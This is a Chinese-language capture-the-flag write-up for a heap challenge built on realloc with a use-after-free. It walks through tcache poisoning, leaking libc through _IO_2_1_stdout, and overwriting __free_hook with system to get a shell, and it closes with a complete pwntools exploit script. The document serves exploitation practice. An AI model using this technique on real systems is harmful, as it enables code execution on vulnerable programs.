muea 中只有 add 和 delete

add 中使用的是 realloc

什么是 realloc 呢?

可以参考如下文章

https://squarepants0.github.io/2020/11/18/2019-realloc-magic-realloc-yu-tcache/#toc-heading-2

简单来说就说 mallco 和 free 的结合 plus 版

1
2
3
4
5
6
7
8
9
10
11
void *realloc(void *ptr, size_t size)
# ptr=0 && size!=0
# 视作mallco(size) 返回对应的地址

# ptr!=0 && size==0
# 视作free(ptr)

#ptr!=0 && size!=0
#当上一次mallco返回的ptr值的size > 现在需要申请的size,则会进行缩小,然后多余的进行free
#当上一次mallco返回的ptr值的size < 现在需要申请的size,则会进行扩容
#如果上一次mallco返回的ptr已经被free了,且 < 现在需要申请的size,则会优先进行合并其他被free的chunk

delete 进行了 free 但是未置零 存在 uaf 漏洞

switch 还有一个特殊的分支函数,将 ptr 进行清空,可以让我们打第二次攻击

目前的思路还是打tcache,将 chunk free 到unsortedbin 中将其 fd 指针改为 _IO_2_1_stdout

并挂入 bins 链表中,重新申请出来讲 _flag 改为 0xfbed1800,泄露地址计算 libc 再打 free_hook

其实这题和 pwn162 比较相似,只是讲 mallco 换为了 realloc,两种用法上面的区别,总体打法思路是一样的

#0 用于后续修改 #4 的 fd 内容

#1 将其挂载到 fastbin 中

#2 隔绝 TOP chunk

这边 add(0,b””)的作用相当于将其进行了 free

for 循环将tcache 的 0xa0 填满,后续在进行add(0,b””) 将#3 free 到 unsortedbin

此时我们的 main_arena 在 fastbin 和unsortedbin 都存在

后续我们将先前 free 的 #0 chunk 重新申请回来,此时我们的 ptr 的 size 就为 0x20,后续我们有 add 一个 0x50 的 chunk,此时就用到了我们的 realloc 机制了,他会先判断 当上一次mallco返回的ptr值的size<现在需要申请的size,则会进行扩容 此时我们来看一下 chunk0 物理内存后跟着的是什么

0x30 后跟着的是 0xa0 被 free 的 chunk,按照realloc 机制则会向后扩容到 0x50 的字节但是!

该 chunk 就是 我们在unsortedbin 的 chunk,fd、bk 为 main_arena,但是我们可以往里面填入 0x50 字节的大小,足够覆盖到此处,那我们就可以将其改为 _IO_2_1_stdout 的地址

后四字节为 0xc680 ,注意这边本地地址是不变的,但是在远程时候第四位 c 会进行变动。最后写完 exp 可以尝试多打几次,1/16 的概率

chunk0 的数据,将上面全覆盖为 0x555555605288 的地址覆盖为0x81(为了打第二遍)、0x555555605290 低四位改为0xc680

成功将 _IO_2_1_stdout 挂入链表中,此时将_IO_2_1_stdout 申请出来,修改 data 段内容就是修改 _flag 的值,我们将 _flag 改为 0xfbad1800 泄露出_IO_2_1_stdout 上的地址内容,具体为什么修改为0xfbad1800 可以看 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

由于 witer_base 的值不确定性,具体输出的内容我们需要进行调试查看

gdb 调试后发现将该地址+0x40 就是__malloc_initialize_hook 的地址(虽然我也不知道这个是什么,反正能用来计算 libc)

接受后计算 libcbase 、sys、free_hook

此时我们就可以使用 switch 特殊分支的函数,清空 ptr,进行第二轮攻击

还是一样的操作步骤,只是将申请 chunk 的大小进行更改,以免挂载到之前的链表中,后续打 free_hook 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import * #引用pwntools库
from ctypes import *
from LibcSearcher import *

misaki=1
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')

ming=0
if ming:
p=remote('pwn.challenge.ctf.show',28222)# pwn.challenge.ctf.show 28308
else:
p=process("./pwn")#配置本地连接:


s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
def m(): gdb.attach(p)

def cmd(x):
rl(b'Choice:')
sl(str(x))
def add(size,data):
cmd(1)
rl(b'Size?')
sl(str(size))
rl(b'Content?')
s(data)
def delete():
cmd(2)

libc=ELF("./libc-2.27.so")
offset = b"\x60\xc7"
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
e=ELF("./pwn")
##############################################################################################
add(0x20,b'aaaa')#0
add(0,b'')

add(0x90,b'aaaa')#1
add(0,b'')

add(0x10,b'aaaa')#2
add(0,b'')

add(0x90,b'aaaa')#3

for i in range(7):
delete()


add(0,b'')

add(0x20,b'aaaa')
offset = b"\x60\xc7"
payload=p64(0)*5+p64(0x81)+offset

add(0x50,payload)
add(0,b'')

add(0x90,b'aaaa')
add(0,b'')

payload=p64(0xfbed1800)+ p64(0)*3 + b'\x00'

add(0x90,payload)
#m()
libcbase = u64(rl(b"\x7f")[-6:].ljust(8,b"\x00"))+0x40-libc.symbols['__malloc_initialize_hook']

print(f'libcbase=',hex(libcbase))

free_hook=libcbase+libc.symbols['__free_hook']
system_addr = libcbase+libc.sym['system']

sla(b"Choice:",b"1433233")

add(0x30,b'aaaa')#0
add(0,b'')

add(0xa0,b'aaaa')#1
add(0,b'')

add(0x10,b'aaaa')#3
add(0,b'')

add(0xa0,b'aaaa')#4
for i in range(7):
delete()
add(0,b'')
add(0x30,b"aaa")
payload = p64(0)*7+p64(0x81)+p64(free_hook-8)
add(0x80,payload)
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0xa0,b"/bin/sh;"+p64(system_addr))
delete()
p.interactive()#与程序交互